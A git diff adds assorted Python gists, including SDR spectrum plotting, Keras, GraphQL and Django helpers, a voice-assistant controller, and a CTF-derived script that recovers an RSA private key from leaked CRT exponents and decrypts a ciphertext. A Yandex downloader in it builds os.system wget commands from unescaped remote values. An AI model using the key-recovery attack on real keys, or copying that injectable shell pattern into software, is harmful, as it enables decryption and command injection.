+    def set_gain(self, gain):
+        self.u.set_gain(gain)
+    
+    def nearest_freq(self, freq, channel_bandwidth):
+        freq = round(freq / channel_bandwidth, 0) * channel_bandwidth
+        return freq
+
+def send_udp6(sock, vals):
+    # Set this to the real IP address of the flipdot controller
+    ip = "::1"
+    port = 2323
+    panel = 0
+    data = [0]*440
+    for i in range(176):
+        x = i / 8
+        for j in range(20):
+            idx = x + 22*j
+            bit = vals[i] > (20 - (j+1))
+            data[idx] <<= 1
+            data[idx] |= int(bit)
+    data_out = struct.pack('B'*440, *data)
+    sock.sendto(data_out, (ip, port))
+
+
+def main_loop(tb):
+    
+    def bin_freq(i_bin, center_freq):
+        #hz_per_bin = tb.usrp_rate / tb.fft_size
+        freq = center_freq - (tb.usrp_rate / 2) + (tb.channel_bandwidth * i_bin)
+        #print "freq original:",freq
+        #freq = nearest_freq(freq, tb.channel_bandwidth)
+        #print "freq rounded:",freq
+        return freq
+    
+    bin_start = int(tb.fft_size * ((1 - 0.75) / 2))
+    bin_stop = int(tb.fft_size - bin_start)
+    values = {}
+    sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) # UDP
+
+    while 1:
+        # Get the next message sent from the C++ code (blocking call).
+        # It contains the center frequency and the mag squared of the fft
+        m = parse_msg(tb.msgq.delete_head())
+
+        # m.center_freq is the center frequency at the time of capture
+        # m.data are the mag_squared of the fft output
+        # m.raw_data is a string that contains the binary floats.
+        # You could write this as binary to a file.
+
+        for i_bin in range(bin_start, bin_stop):
+
+            center_freq = m.center_freq
+            freq = bin_freq(i_bin, center_freq)
+            #noise_floor_db = -174 + 10*math.log10(tb.channel_bandwidth)
+            noise_floor_db = 10*math.log10(min(m.data)/tb.usrp_rate)
+            power_db = 10*math.log10(m.data[i_bin]/tb.usrp_rate) - noise_floor_db
+
+            if (power_db > tb.squelch_threshold) and (freq >= tb.min_freq) and (freq <= tb.max_freq):
+                f = (freq - 2400000000)/500000
+                pwr = int(power_db)/2
+                if pwr > 20:
+                    pwr = 19
+                values[f] = pwr
+                print "%d %d" % (f, pwr)
+        if len(values) == 176:
+            print "Sending UDP6 packet"
+            send_udp6(sock, values)
+            values = {}
+    sock.close()
+
+if __name__ == '__main__':
+    t = ThreadClass()
+    t.start()
+
+    tb = my_top_block()
+    try:
+        tb.start()
+        main_loop(tb)
+
+    except KeyboardInterrupt:
+        pass
diff --git a/hard-gists/dc36e180d1888629cf33/._snippet.py b/hard-gists/dc36e180d1888629cf33/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dc36e180d1888629cf33/._snippet.py differ
diff --git a/hard-gists/dc36e180d1888629cf33/snippet.py b/hard-gists/dc36e180d1888629cf33/snippet.py
new file mode 100644
index 00000000..f6cf05b8
--- /dev/null
+++ b/hard-gists/dc36e180d1888629cf33/snippet.py
@@ -0,0 +1,52 @@
+from graphql.core.utils.ast_to_dict import ast_to_dict
+
+
+def collect_fields(node, fragments):
+    """Recursively collects fields from the AST
+
+    Args:
+        node (dict): A node in the AST
+        fragments (dict): Fragment definitions
+
+    Returns:
+        A dict mapping each field found, along with their sub fields.
+
+        {'name': {},
+         'sentimentsPerLanguage': {'id': {},
+                                   'name': {},
+                                   'totalSentiments': {}},
+         'slug': {}}
+    """
+
+    field = {}
+
+    if node.get('selection_set'):
+        for leaf in node['selection_set']['selections']:
+            if leaf['kind'] == 'Field':
+                field.update({
+                    leaf['name']['value']: collect_fields(leaf, fragments)
+                })
+            elif leaf['kind'] == 'FragmentSpread':
+                field.update(collect_fields(fragments[leaf['name']['value']],
+                                            fragments))
+
+    return field
+
+
+def get_fields(info):
+    """A convenience function to call collect_fields with info
+
+    Args:
+        info (ResolveInfo)
+
+    Returns:
+        dict: Returned from collect_fields
+    """
+
+    fragments = {}
+    node = ast_to_dict(info.field_asts[0])
+
+    for name, value in info.fragments.items():
+        fragments[name] = ast_to_dict(value)
+
+    return collect_fields(node, fragments)
diff --git a/hard-gists/dc61c42aa4e89e139cd8248f59af6b3e/._snippet.py b/hard-gists/dc61c42aa4e89e139cd8248f59af6b3e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dc61c42aa4e89e139cd8248f59af6b3e/._snippet.py differ
diff --git a/hard-gists/dc61c42aa4e89e139cd8248f59af6b3e/snippet.py b/hard-gists/dc61c42aa4e89e139cd8248f59af6b3e/snippet.py
new file mode 100644
index 00000000..eff7e011
--- /dev/null
+++ b/hard-gists/dc61c42aa4e89e139cd8248f59af6b3e/snippet.py
@@ -0,0 +1,22 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+# https://toster.ru/q/72866
+# How to
+# wget http://gist.github.com/...
+# chmod +x ya.py
+# ./ya.py download_url path/to/directory
+
+import os, sys, json
+import urllib.parse as ul
+
+sys.argv.append('.') if len(sys.argv) == 2 else None
+
+base_url = 'https://cloud-api.yandex.net:443/v1/disk/public/resources/download?public_key='
+url = ul.quote_plus(sys.argv[1])
+folder = sys.argv[2]
+res = os.popen('wget -qO - {}{}'.format(base_url, url)).read()
+json_res = json.loads(res)
+filename = ul.parse_qs(ul.urlparse(json_res['href']).query)['filename'][0]
+os.system("wget '{}' -P '{}' -O '{}'".format(json_res['href'], folder, filename))
+# os.system("wget '{}'".format(json_res['href']))
diff --git a/hard-gists/dc673da0c531c7a6059b/._snippet.py b/hard-gists/dc673da0c531c7a6059b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dc673da0c531c7a6059b/._snippet.py differ
diff --git a/hard-gists/dc673da0c531c7a6059b/snippet.py b/hard-gists/dc673da0c531c7a6059b/snippet.py
new file mode 100644
index 00000000..ff3b5b48
--- /dev/null
+++ b/hard-gists/dc673da0c531c7a6059b/snippet.py
@@ -0,0 +1,102 @@
+import sublime
+import sublime_plugin
+
+# { "keys": ["alt+shift+p"], "command": "fuzzy_pretty" },
+
+BRACKETS = {
+    '{': '}',
+    '(': ')',
+    '[': ']',
+}
+
+SEPS = [
+    ';', ',', '\n',
+]
+
+OPERATERS = [
+    ':', '=',
+]
+
+
+def build(tree, indent=''):
+    if indent is False:
+        out = ''
+        for node in tree:
+            if isinstance(node, str):
+                out += node
+            elif isinstance(node, list):
+                out += build(node, indent=False)
+        return out
+    out = ''
+    test = None
+    line = ''
+    for i, node in enumerate(tree):
+        if isinstance(node, str):
+            if node in BRACKETS.values():
+                out = out[:-len(line)]
+                line = line[:-1] + node + '\n'
+            elif node in SEPS:
+                out = out[:-len(line)]
+                line = line[:-1] + node + '\n'
+            else:
+                line = indent + node + '\n'
+        elif isinstance(node, list):
+            test = build(node, indent=False)
+            if len(line+test) < 80:
+                out = out[:-len(line)]
+                line = line[:-1] + test + '\n'
+            else:
+                line = build(node, indent=indent+'  ')
+        out += line
+    return out
+
+
+def proc(text):
+    buf = ''
+    root = []
+    context = root
+    stacks = []
+    brackets = []
+    for c in text:
+        if len(brackets) > 0 and c == brackets[-1]:
+            brackets.pop()
+            context.append(buf + c)
+            buf = ''
+            context = stacks.pop()
+        elif c in BRACKETS:
+            brackets.append(BRACKETS[c])
+            context.append(buf + c)
+            buf = ''
+            new_context = []
+            context.append(new_context)
+            stacks.append(context)
+            context = new_context
+        elif c in SEPS:
+            if c == '\n':
+                c = ''
+            if buf == '' and len(context) > 0:
+                context[-1] += c
+            elif buf == '' and c == '':
+                pass
+            else:
+                context.append(buf + c)
+                buf = ''
+        elif buf == '' and c in ' \t':
+            pass
+        else:
+            buf += c
+    context.append(buf)
+    return build(root)
+
+
+class FuzzyPrettyCommand(sublime_plugin.TextCommand):
+
+    def run(self, edit, **kwargs):
+        view = self.view
+        sel = view.sel()[0]
+        region = sel
+        if sel.empty():
+            region = sublime.Region(0, view.size())
+        text = view.substr(region)
+        text = proc(text)
+        view.replace(edit, region, text)
diff --git a/hard-gists/dccc1c4fdcf1c7a31757168b19c827a7/._snippet.py b/hard-gists/dccc1c4fdcf1c7a31757168b19c827a7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dccc1c4fdcf1c7a31757168b19c827a7/._snippet.py differ
diff --git a/hard-gists/dccc1c4fdcf1c7a31757168b19c827a7/snippet.py b/hard-gists/dccc1c4fdcf1c7a31757168b19c827a7/snippet.py
new file mode 100644
index 00000000..210a5236
--- /dev/null
+++ b/hard-gists/dccc1c4fdcf1c7a31757168b19c827a7/snippet.py
@@ -0,0 +1,74 @@
+"""
+When classifying upon a sequence usually we stack some LSTM returning sequences,
+then one LSTM returning a point, then Dense with softmax activation.
+
+Is it possible instead to give the last non-sequential LSTM a softmax activation?
+
+The answer is yes.
+
+In this example we have 3 sequential layers and one layer producing the final result.
+
+The only difference is in the number of parameters of the last layer due to more
+complex neurons in LSTM comprared to Dense.
+"""
+
+from keras.layers import Input, LSTM, Dense
+from keras.models import Model
+
+seq_length = 10
+feature_count = 20
+class_count = 2
+rnn_width = 32
+
+def classic_sequence_classifier():
+  input = Input(shape=(seq_length, feature_count))
+  x = LSTM(rnn_width, return_sequences=True)(input)
+  x = LSTM(rnn_width, return_sequences=True)(x)
+  x = LSTM(rnn_width)(x)
+  x = Dense(class_count, activation='softmax')(x)
+  return Model(input, x)
+
+def proposed_sequence_classifier():
+  input = Input(shape=(seq_length, feature_count))
+  x = LSTM(rnn_width, return_sequences=True)(input)
+  x = LSTM(rnn_width, return_sequences=True)(x)
+  x = LSTM(rnn_width, return_sequences=True)(x)
+  x = LSTM(class_count, activation='softmax')(x)
+  return Model(input, x)
+
+classic_model = classic_sequence_classifier()
+proposed_model = proposed_sequence_classifier()
+
+classic_model.summary()
+# ____________________________________________________________________________________________________
+# Layer (type)                     Output Shape          Param #     Connected to                     
+# ====================================================================================================
+# input_4 (InputLayer)             (None, 10, 20)        0                                            
+# ____________________________________________________________________________________________________
+# lstm_8 (LSTM)                    (None, 10, 32)        6784        input_4[0][0]                    
+# ____________________________________________________________________________________________________
+# lstm_9 (LSTM)                    (None, 10, 32)        8320        lstm_8[0][0]                     
+# ____________________________________________________________________________________________________
+# lstm_10 (LSTM)                   (None, 32)            8320        lstm_9[0][0]                     
+# ____________________________________________________________________________________________________
+# dense_2 (Dense)                  (None, 2)             66          lstm_10[0][0]                    
+# ====================================================================================================
+# Total params: 23490
+# ____________________________________________________________________________________________________
+
+proposed_model.summary()
+# ____________________________________________________________________________________________________
+# Layer (type)                     Output Shape          Param #     Connected to                     
+# ====================================================================================================
+# input_5 (InputLayer)             (None, 10, 20)        0                                            
+# ____________________________________________________________________________________________________
+# lstm_11 (LSTM)                   (None, 10, 32)        6784        input_5[0][0]                    
+# ____________________________________________________________________________________________________
+# lstm_12 (LSTM)                   (None, 10, 32)        8320        lstm_11[0][0]                    
+# ____________________________________________________________________________________________________
+# lstm_13 (LSTM)                   (None, 10, 32)        8320        lstm_12[0][0]                    
+# ____________________________________________________________________________________________________
+# lstm_14 (LSTM)                   (None, 2)             280         lstm_13[0][0]                    
+# ====================================================================================================
+# Total params: 23704
+# ____________________________________________________________________________________________________
\ No newline at end of file
diff --git a/hard-gists/dd1538665994b48972a62966b4369354/._snippet.py b/hard-gists/dd1538665994b48972a62966b4369354/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dd1538665994b48972a62966b4369354/._snippet.py differ
diff --git a/hard-gists/dd1538665994b48972a62966b4369354/snippet.py b/hard-gists/dd1538665994b48972a62966b4369354/snippet.py
new file mode 100644
index 00000000..b1231253
--- /dev/null
+++ b/hard-gists/dd1538665994b48972a62966b4369354/snippet.py
@@ -0,0 +1,93 @@
+# coding: utf-8
+
+import photos
+import console
+from objc_util import *
+
+CIFilter, CIImage, CIContext, CIDetector, CIVector = map(ObjCClass, ['CIFilter', 'CIImage', 'CIContext', 'CIDetector', 'CIVector'])
+
+def take_photo(filename='.temp.jpg'):
+	img = photos.capture_image()
+	if img:
+		img.save(filename)
+		return filename
+
+def pick_photo(filename='.temp.jpg'):
+	img = photos.pick_image()
+	if img:
+		img.save(filename)
+		return filename
+
+def load_ci_image(img_filename):
+	data = NSData.dataWithContentsOfFile_(img_filename)
+	if not data:
+		raise IOError('Could not read file')
+	ci_img = CIImage.imageWithData_(data)
+	return ci_img
+	
+def find_faces(ci_img):
+	opt = {'CIDetectorAccuracy': 'CIDetectorAccuracyHigh'}
+	d = CIDetector.detectorOfType_context_options_('CIDetectorTypeFace', None, opt)
+	faces = d.featuresInImage_(ci_img)
+	return faces
+
+def apply_perspective(corners, ci_img):
+	tr, br, tl, bl = [CIVector.vectorWithX_Y_(c.x, c.y) for c in corners]
+	filter = CIFilter.filterWithName_('CIPerspectiveCorrection')
+	filter.setDefaults()
+	filter.setValue_forKey_(ci_img, 'inputImage')
+	filter.setValue_forKey_(tr, 'inputTopRight')
+	filter.setValue_forKey_(tl, 'inputTopLeft')
+	filter.setValue_forKey_(br, 'inputBottomRight')
+	filter.setValue_forKey_(bl, 'inputBottomLeft')
+	out_img = filter.valueForKey_('outputImage')
+	return out_img
+
+def write_output(out_ci_img, filename='.output.jpg'):
+	ctx = CIContext.contextWithOptions_(None)
+	cg_img = ctx.createCGImage_fromRect_(out_ci_img, out_ci_img.extent())
+	ui_img = UIImage.imageWithCGImage_(cg_img)
+	c.CGImageRelease.argtypes = [c_void_p]
+	c.CGImageRelease.restype = None
+	c.CGImageRelease(cg_img)
+	c.UIImageJPEGRepresentation.argtypes = [c_void_p, CGFloat]
+	c.UIImageJPEGRepresentation.restype = c_void_p
+	data = ObjCInstance(c.UIImageJPEGRepresentation(ui_img.ptr, 0.75))
+	data.writeToFile_atomically_(filename, True)
+	return filename
+
+def main():
+	console.clear()
+	i = console.alert('Info', 'This script detects faces in a photo.', 'Take Photo', 'Pick from Library')
+	if i == 1:
+		filename = take_photo()
+	else:
+		filename = pick_photo()
+	if not filename:
+		return
+	ci_img = load_ci_image(filename)
+	out_file = write_output(ci_img)
+	console.show_image(out_file)
+	faces = find_faces(ci_img)
+	if faces.count() == 0:
+		print('Error: Could not find a face in the photo. Please try again with a different image.')
+		return
+	j=0
+	for face in faces:
+		b = face.bounds()
+		w=b.size.width
+		h=b.size.height
+		rt=CGPoint(b.origin.x+w,b.origin.y+h)
+		rb=CGPoint(b.origin.x+w,b.origin.y)
+		lt=CGPoint(b.origin.x,b.origin.y+h)
+		lb=CGPoint(b.origin.x,b.origin.y)
+		corners = (rt,rb,lt,lb)
+		out_img = apply_perspective(corners, ci_img)
+		j=j+1
+		out_file = write_output(out_img,filename='.output'+str(j)+'.jpg')
+		console.show_image(out_file)
+	print('Tap and hold the image to save it to your camera roll.')
+
+if __name__ == '__main__':
+	main()
+	
diff --git a/hard-gists/dde829f94a8f83bfa922090102449fde/._snippet.py b/hard-gists/dde829f94a8f83bfa922090102449fde/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dde829f94a8f83bfa922090102449fde/._snippet.py differ
diff --git a/hard-gists/dde829f94a8f83bfa922090102449fde/snippet.py b/hard-gists/dde829f94a8f83bfa922090102449fde/snippet.py
new file mode 100644
index 00000000..daf6f366
--- /dev/null
+++ b/hard-gists/dde829f94a8f83bfa922090102449fde/snippet.py
@@ -0,0 +1,154 @@
+#!/usr/bin/python
+
+# Written by: Michael McKinnon @bigmac
+# Get in contact with me if you found this useful
+
+import os
+import sys
+import gmpy2
+from Crypto.PublicKey import RSA
+from Crypto.Cipher import PKCS1_v1_5
+
+# This Python script is an implementation of the research here: https://eprint.iacr.org/2004/147.pdf
+# my eternal thanks to those authors, this helped me solve a CTF challenge whereby I had to recover an
+# RSA private key from just two things:
+#
+# dP - CRT Exponent 1 (i.e. d mod (p-1))
+# dQ - CRT Exponent 2 (i.e. d mod (q-1))
+#
+# Using just these two elements it IS possible to recover the primes p and q - and then to reconstruct
+# the entire RSA private key.
+#
+# Great site here to experiment with RSA keys:
+# http://www.mobilefish.com/services/rsa_key_generation/rsa_key_generation.php
+
+def rsa_decrypt(p, q, ciphertext, e=65537):
+    '''
+    I will take your ciphertext and primes p,q (and optionally e) and decrypt
+    using a newly constructed RSA private key. Decrypt with assumed PKCS1_v1_5 padding.
+
+    Call it with something like:
+    rsa_decrypt(p, q, open('file.enc').read())
+
+    This probably won't work if your ciphertext is bigger than the total bitlength of (p*q)
+    so you'd need to play around with aes-cbc etc.
+    '''
+    def rsa_keyfromprimes(p, q, e): 
+        # we have e from the param - this is the publicExponent
+        # calculate n (modulus) is the product of p and q
+        n = long(gmpy2.mul(p, q))
+        # we need phi(n)
+        phi = (p - 1)*(q - 1)
+        # calculate d (the privateExponent)
+        d = long(gmpy2.invert(e,(p-1)*(q-1)))
+        #make the key
+        key = RSA.construct((n, long(e), d, p, q))
+        # Oh, while we're here have a new private key if you want
+        #print key.exportKey()
+        return key
+
+    # get the key
+    key = rsa_keyfromprimes(p, q, e)
+    # get a PKCS cipher object for padding
+    cipher = PKCS1_v1_5.new(key)
+    # decrypt the ciphertext
+    decrypted = cipher.decrypt(ciphertext, None)
+    return str(decrypted)
+
+def rsa_recovery(dp, dq, ciphertext, keysize=1024, start=3):
+    '''
+    This extensive process loops through all unknown e, typically between 3..65537
+    and given the dP and dQ will search for primes p and q, then attempt to
+    decrypt the ciphertext that is known to have been encrypted with them.
+    '''
+    # init counters
+    r, p, q, d, count, count2, count3 = (0L, 0L, 0L, 0L, 0, 0, 0) 
+    # start generalised loop for an unknown e
+    for j in range(start, 65538, 2):
+        dp1 = long(gmpy2.mul(dp, j) - 1)
+        for k in range(3, j):
+            d = long(k)
+            a, r = gmpy2.t_divmod(dp1, d)
+            assert(dp1 == (k * a) + r)
+            if r == 0:
+                count += 1
+                p = long(a + 1)
+                if gmpy2.is_odd(p) and gmpy2.is_strong_prp(p, 10):
+                    count2 += 1
+                    dq1 = long(gmpy2.mul(dq, j) - 1)
+                    for l in range(3, j):
+                        d = long(l)
+                        a, r = gmpy2.t_divmod(dq1, d)
+                        assert(dq1 == (l * a) + r)
+                        if r == 0:
+                            q = long(a + 1)
+                            if gmpy2.is_odd(q) and gmpy2.is_strong_prp(q, 10):
+                                count3 += 1
+                                # just some basic progress on the console
+                                if count3 % 10 == 0:
+                                    sys.stdout.write('.')
+                                    sys.stdout.flush()
+                                # only attempt the decrypt if p,q are expected bitlength
+                                if p.bit_length() + q.bit_length() == keysize:
+                                    try:
+                                        result = rsa_decrypt(p, q, ciphertext, j)
+                                        if len(result) == 0 or result == "None":
+                                            # indicates a failed decryption attempt
+                                            sys.stdout.write('x')
+                                        else:
+                                            # SUCCESS! This is your decrypted message, sir...
+                                            print "\n:: DECRYPTED::\n message = %s" % result
+                                        # show all the p, q candidates just in case
+                                        print "\np = %X\nq = %X\n" % (p, q)
+                                    except Exception as e:
+                                        print "ERROR: ", e # if cipher text length wrong, change decryption padding etc.
+                                        pass # do nothing
+    # finish with a counter summary
+    print "count: %d  count2: %d  count3: %d\n\n" % (count, count2, count3)
+
+def main():
+    '''
+    Scenario:
+
+    Most of the information of an RSA private key has been lost, but we're able to extract only this:
+    (i.e. output from the command: openssl rsa -in helloworld.key -text -noout)
+
+    exponent1:
+    69:8a:cf:cb:5a:5d:d4:ca:b7:09:6d:fe:da:94:75:
+    c7:80:c1:aa:d4:66:dc:75:35:b6:c7:91:7b:d2:ae:
+    6e:11:28:13:98:a0:29:47:8d:35:f8:e0:66:ca:8a:
+    9f:59:a7:48:97:78:21:00:bb:4c:f6:06:76:68:81:
+    5c:3f:00:81
+    
+    exponent2:
+    00:94:79:94:5a:b5:4e:5c:d4:fa:c5:80:b6:75:01:
+    03:0e:e3:3a:e1:6d:bb:05:9e:8a:1a:78:30:d4:88:
+    d2:fa:1a:7e:3e:90:98:07:cb:d1:12:0a:b8:05:a1:
+    b9:09:15:bd:d3:c8:76:ca:74:c1:32:ef:ae:05:6b:
+    55:ad:3d:fb:61
+
+    '''
+    # these exponents above are below as dP and dQ
+    sample_dp = 0x698acfcb5a5dd4cab7096dfeda9475c780c1aad466dc7535b6c7917bd2ae6e11281398a029478d35f8e066ca8a9f59a74897782100bb4cf6067668815c3f0081
+    sample_dq = 0x009479945ab54e5cd4fac580b67501030ee33ae16dbb059e8a1a7830d488d2fa1a7e3e909807cbd1120ab805a1b90915bdd3c876ca74c132efae056b55ad3dfb61
+    # this is an already encrypted file made, using
+    # openssl rsautl -encrypt -in helloworld.txt -inkey helloworld.pub -pubin -out helloworld.enc
+    sample_ciphertext = '9bccead296e0f33405ca8ee167ff366a95ac8cb667cfe2c7c5fcd10c2'\
+                        '78962777f3583138fad52db987a4f7f6a10e8798330151a816bc32a20'\
+                        'b4d9c82f512027cd4c817cbf3399bde736935ebf7404308eb7419fcc3'\
+                        'b7ace7841e8f8a28cd8c5e7c5b90e6b0a32a03ff4e5392b044caf851a'\
+                        '0fccc615da166c68495d8f1b7a7e'
+    sample_filename = 'helloworld.enc'
+    # write the sample encrypted file to disk
+    if not os.path.isfile(sample_filename):
+        with open('helloworld.enc', 'w') as f:
+            f.write(binascii.unhexlify(sample_ciphertext))
+    # read the file in, for whatever reason I had much better luck always reading the file in!
+    ciphertext = open('helloworld.enc').read()
+    # Here is where the magic happens...
+    rsa_recovery(sample_dp, sample_dq, ciphertext, keysize=1024, start=65537)
+    # IMPORTANT: If you have a publicExponent (e) that is not assumed to be 0x10001 (65537)
+    # you will probably want to change start to start=3 above. 3, 17, 65537 are the most common 'e' used.
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/ddf6aaa6b3d37f602fedfd38c9af9d49/._snippet.py b/hard-gists/ddf6aaa6b3d37f602fedfd38c9af9d49/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ddf6aaa6b3d37f602fedfd38c9af9d49/._snippet.py differ
diff --git a/hard-gists/ddf6aaa6b3d37f602fedfd38c9af9d49/snippet.py b/hard-gists/ddf6aaa6b3d37f602fedfd38c9af9d49/snippet.py
new file mode 100644
index 00000000..f80022c1
--- /dev/null
+++ b/hard-gists/ddf6aaa6b3d37f602fedfd38c9af9d49/snippet.py
@@ -0,0 +1,141 @@
+#!/usr/bin/env python3
+# Copyright 2017 Google Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""Run a recognizer using the Google Assistant Library.
+
+The Google Assistant Library has direct access to the audio API, so this Python
+code doesn't need to record audio. Hot word detection "OK, Google" is supported.
+
+The Google Assistant Library can be installed with:
+    env/bin/pip install google-assistant-library==0.0.2
+
+It is available for Raspberry Pi 2/3 only; Pi Zero is not supported.
+"""
+
+import logging
+import re
+import subprocess
+import sys
+
+import aiy.assistant.auth_helpers
+import aiy.assistant.device_helpers
+import aiy.audio
+import aiy.voicehat
+from google.assistant.library import Assistant
+from google.assistant.library.event import EventType
+
+import vlc
+import youtube_dl
+
+logging.basicConfig(
+    level=logging.INFO,
+    format="[%(asctime)s] %(levelname)s:%(name)s:%(message)s"
+)
+
+ydl_opts = {
+    'default_search': 'ytsearch1:',
+    'format': 'bestaudio/best',
+    'noplaylist': True,
+    'quiet': True
+}
+vlc_instance = vlc.get_default_instance()
+vlc_player = vlc_instance.media_player_new()
+
+
+def power_off_pi():
+    aiy.audio.say('Good bye!')
+    subprocess.call('sudo shutdown now', shell=True)
+
+
+def reboot_pi():
+    aiy.audio.say('See you in a bit!')
+    subprocess.call('sudo reboot', shell=True)
+
+
+def say_ip():
+    ip_address = subprocess.check_output("hostname -I | cut -d' ' -f1", shell=True)
+    aiy.audio.say('My IP address is %s' % ip_address.decode('utf-8'))
+
+
+def play_music(name):
+    try:
+        with youtube_dl.YoutubeDL(ydl_opts) as ydl:
+            meta = ydl.extract_info(name, download=False)
+    except Exception:
+        aiy.audio.say('Sorry, I can\'t find that song.')
+        return
+
+    if meta:
+        info = meta['entries'][0]
+        vlc_player.set_media(vlc_instance.media_new(info['url']))
+        aiy.audio.say('Now playing ' + re.sub(r'[^\s\w]', '', info['title']))
+        vlc_player.play()
+
+
+def process_event(assistant, event):
+    status_ui = aiy.voicehat.get_status_ui()
+    if event.type == EventType.ON_START_FINISHED:
+        status_ui.status('ready')
+        if sys.stdout.isatty():
+            print('Say "OK, Google" then speak, or press Ctrl+C to quit...')
+
+    elif event.type == EventType.ON_CONVERSATION_TURN_STARTED:
+        status_ui.status('listening')
+
+    elif event.type == EventType.ON_RECOGNIZING_SPEECH_FINISHED and event.args:
+        print('You said:', event.args['text'])
+        text = event.args['text'].lower()
+        if text == 'stop':
+            if vlc_player.get_state() == vlc.State.Playing:
+                vlc_player.stop()
+        elif text == 'power off':
+            assistant.stop_conversation()
+            power_off_pi()
+        elif text == 'reboot':
+            assistant.stop_conversation()
+            reboot_pi()
+        elif text == 'ip address':
+            assistant.stop_conversation()
+            say_ip()
+        elif text == 'pause':
+            assistant.stop_conversation()
+            vlc_player.set_pause(True)
+        elif text == 'resume':
+            assistant.stop_conversation()
+            vlc_player.set_pause(False)
+        elif text.startswith('play '):
+            assistant.stop_conversation()
+            play_music(text[5:])
+
+    elif event.type == EventType.ON_END_OF_UTTERANCE:
+        status_ui.status('thinking')
+
+    elif event.type == EventType.ON_CONVERSATION_TURN_FINISHED:
+        status_ui.status('ready')
+
+    elif event.type == EventType.ON_ASSISTANT_ERROR and event.args and event.args['is_fatal']:
+        sys.exit(1)
+
+
+def main():
+    credentials = aiy.assistant.auth_helpers.get_assistant_credentials()
+    device_id, model_id = aiy.assistant.device_helpers.get_ids(credentials)
+    with Assistant(credentials, model_id) as assistant:
+        for event in assistant.start():
+            process_event(assistant, event)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/de1383080e9f8fb7d208/._snippet.py b/hard-gists/de1383080e9f8fb7d208/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/de1383080e9f8fb7d208/._snippet.py differ
diff --git a/hard-gists/de1383080e9f8fb7d208/snippet.py b/hard-gists/de1383080e9f8fb7d208/snippet.py
new file mode 100644
index 00000000..87bcad9e
--- /dev/null
+++ b/hard-gists/de1383080e9f8fb7d208/snippet.py
@@ -0,0 +1,32 @@
+from django.core import exceptions
+from django.db.models.fields.related import ForeignKey
+from django.db.utils import ConnectionHandler, ConnectionRouter
+
+connections = ConnectionHandler()
+router = ConnectionRouter()
+
+
+class SpanningForeignKey(ForeignKey):
+
+    def validate(self, value, model_instance):
+        if self.rel.parent_link:
+            return
+        # Call the grandparent rather than the parent to skip validation
+        super(ForeignKey, self).validate(value, model_instance)
+        if value is None:
+            return
+
+        using = router.db_for_read(self.rel.to, instance=model_instance)
+        qs = self.rel.to._default_manager.using(using).filter(
+            **{self.rel.field_name: value}
+        )
+        qs = qs.complex_filter(self.get_limit_choices_to())
+        if not qs.exists():
+            raise exceptions.ValidationError(
+                self.error_messages['invalid'],
+                code='invalid',
+                params={
+                    'model': self.rel.to._meta.verbose_name, 'pk': value,
+                    'field': self.rel.field_name, 'value': value,
+                },  # 'pk' is included for backwards compatibility
+            )
\ No newline at end of file
diff --git a/hard-gists/de1726bfc7330b2c9b2a/._snippet.py b/hard-gists/de1726bfc7330b2c9b2a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/de1726bfc7330b2c9b2a/._snippet.py differ
diff --git a/hard-gists/de1726bfc7330b2c9b2a/snippet.py b/hard-gists/de1726bfc7330b2c9b2a/snippet.py
new file mode 100644
index 00000000..20f13e48
--- /dev/null
+++ b/hard-gists/de1726bfc7330b2c9b2a/snippet.py
@@ -0,0 +1,41 @@
+"""
+Newton's method
+Author: Daniel Homola
+Licence: BSD 3-clause
+"""
+
+from scipy.optimize import newton
+from sklearn.utils.testing import assert_almost_equal
+
+def f(x):
+    return 6*x**5-5*x**4-4*x**3+3*x**2
+def df(x):
+    return 30*x**4-20*x**3-12*x**2+6*x
+
+def dx(f, x):
+    return abs(0-f(x))
+    
+def newtons_method(f, df, x0, e, print_res=False):
+    delta = dx(f, x0)
+    while delta > e:
+        x0 = x0 - f(x0)/df(x0)
+        delta = dx(f, x0)
+    if print_res:
+        print 'Root is at: ', x0
+        print 'f(x) at root is: ', f(x0)
+    return x0
+
+def test_with_scipy(f, df, x0s, e):
+    for x0 in x0s:
+        my_newton = newtons_method(f, df, x0, e)
+        scipy_newton = newton(f, x0, df, tol=e)
+        assert_almost_equal(my_newton, scipy_newton, decimal=5)
+        print 'Tests passed.'
+
+if __name__ == '__main__':
+    # run test
+    x0s= [0, .5, 1]    
+    test_with_scipy(f, df, x0s, 1e-5)
+        
+    for x0 in x0s:
+        newtons_method(f, df, x0, 1e-10, True)
\ No newline at end of file
diff --git a/hard-gists/de22705b5f7ef778806b/._snippet.py b/hard-gists/de22705b5f7ef778806b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/de22705b5f7ef778806b/._snippet.py differ
diff --git a/hard-gists/de22705b5f7ef778806b/snippet.py b/hard-gists/de22705b5f7ef778806b/snippet.py
new file mode 100644
index 00000000..e56ac0a4
--- /dev/null
+++ b/hard-gists/de22705b5f7ef778806b/snippet.py
@@ -0,0 +1,17 @@
+#-*- coding: big5 -*-
+#-*- coding: cp950 -*-
+import time
+from concurrent import futures
+
+# pip install futures
+# More information:
+# https://docs.python.org/3/library/concurrent.futures.html
+def process(x):
+    time.sleep(2)
+    print x, 'finished'
+
